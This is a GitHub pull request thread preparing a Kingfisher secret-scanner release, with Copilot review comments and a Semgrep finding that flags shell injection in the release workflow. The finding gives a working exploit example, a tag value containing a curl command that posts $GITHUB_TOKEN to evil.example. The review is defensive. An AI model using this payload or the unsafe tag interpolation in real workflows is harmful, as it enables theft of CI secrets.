preparing v1.74.0

[mickgmdb]

This PR prepares the v1.74.0 release of Kingfisher by adding new secret detection rules, updating version numbers, improving the release workflow, and making minor fixes to existing rules.

Changes:

Bumped version from 1.73.0 to 1.74.0 in Cargo.toml and CHANGELOG.md
Added 12 new secret detection rules (cursor, definednetworking, filezilla, harness, intra42, klingai, lark, mergify, plaid, resend, retellai, and improved existing rules)
Enhanced the GitHub Actions release workflow to support multiple trigger types (push, release, workflow_dispatch)

[Copilot]

Pull request overview

This PR prepares the v1.74.0 release of Kingfisher by adding new secret detection rules, updating version numbers, improving the release workflow, and making minor fixes to existing rules.

Changes:

• Bumped version from 1.73.0 to 1.74.0 in Cargo.toml and CHANGELOG.md
• Added 12 new secret detection rules (cursor, definednetworking, filezilla, harness, intra42, klingai, lark, mergify, plaid, resend, retellai, and improved existing rules)
• Enhanced the GitHub Actions release workflow to support multiple trigger types (push, release, workflow_dispatch)

Reviewed changes

Copilot reviewed 22 out of 22 changed files in this pull request and generated 3 comments.

Show a summary per file

File	Description
Cargo.toml	Version bump to 1.74.0
CHANGELOG.md	Added v1.74.0 entry listing new rules
.github/workflows/release.yml	Enhanced release workflow with multiple trigger support and improved tag handling
src/cli/global.rs	Swapped command name and alias for self-update
src/update.rs	Truncated comment text (appears incomplete)
data/rules/*.yml	Added new secret detection rules and updated existing ones

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

The comment text has been truncated and is incomplete. The original text 'self-updates' appears to have been shortened to just 's.' which makes the sentence grammatically incorrect and unclear.

Suggested change

	// s. Our release assets use short, user-friendly names such as
	// self-updates. Our release assets use short, user-friendly names such as

[Copilot]

The removal of GitHub Client ID and Secret Key rules (kingfisher.github.7 and kingfisher.github.8) should be documented in the CHANGELOG to explain why these detection rules were removed, as this is a potentially breaking change for users relying on these rules.

Suggested change

	- name: GitHub Client ID (deprecated)
	id: kingfisher.github.7
	# This rule has been deprecated and retained only for backward compatibility.
	# It intentionally matches no content; GitHub Client ID detection has been
	# removed or superseded by other rules.
	pattern: |
	(?!)
	- name: GitHub Secret Key (deprecated)
	id: kingfisher.github.8
	# This rule has been deprecated and retained only for backward compatibility.
	# It intentionally matches no content; GitHub Secret Key detection has been
	# removed or superseded by other rules.
	pattern: |
	(?!)

[semgrep-code-mongodb]

Semgrep identified an issue in your code:

GitHub Actions run step executes commands embedded in tag names or workflow_dispatch inputs via TAG="${{ github.* }}", enabling code execution and secret exfiltration on the runner.

More details about this

In this run step, TAG is built from untrusted GitHub context: either github.event.release.tag_name or github.event.inputs.tag. Because these values are inserted directly into a bash script, any command substitution inside them (e.g., $(...) or ...) will be executed on the runner when TAG="..." is evaluated.

Why this is risky here:

• TAG="${{ github.event.release.tag_name }}" and TAG="${{ github.event.inputs.tag }}" place user-controlled data inside double quotes in a bash script, which still executes $(...) and expands $VARS.
• An attacker who can supply a workflow_dispatch input or create a tag/release can run arbitrary commands with the job’s permissions and access to secrets.

Concrete exploit example:

1. Attacker triggers the workflow_dispatch and sets inputs.tag to $(curl -s -X POST https://evil.example/leak -d "t=$GITHUB_TOKEN" -d "repo=$GITHUB_REPOSITORY").
2. Your step runs:
   TAG="$(curl -s -X POST https://evil.example/leak -d "t=$GITHUB_TOKEN" -d "repo=$GITHUB_REPOSITORY")"
   Bash executes the curl command during assignment, sending $GITHUB_TOKEN and repo info to the attacker.
3. The script then echoes tag=${TAG} >> "$GITHUB_OUTPUT", continuing as if nothing happened while secrets have already been exfiltrated.

Another path: an attacker with permission to push tags creates a tag named $(id) or uname -a; when the release event fires, TAG="${{ github.event.release.tag_name }}" executes those commands on the runner.

Bottom line: this run step executes code embedded in tag names or workflow inputs, giving attackers code execution and access to runner secrets and repository contents.

To resolve this comment:

🔧 No guidance has been designated for this issue. Fix according to your organization's approved methods.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

• /fp <comment> for false positive
• /ar <comment> for acceptable risk
• /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

• Fix the code
• Reply /fp $reason (if security gap doesn’t exist)
• Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
• Reply /other $reason (e.g., test-only)

_{You can view more details about this finding in the Semgrep AppSec Platform.}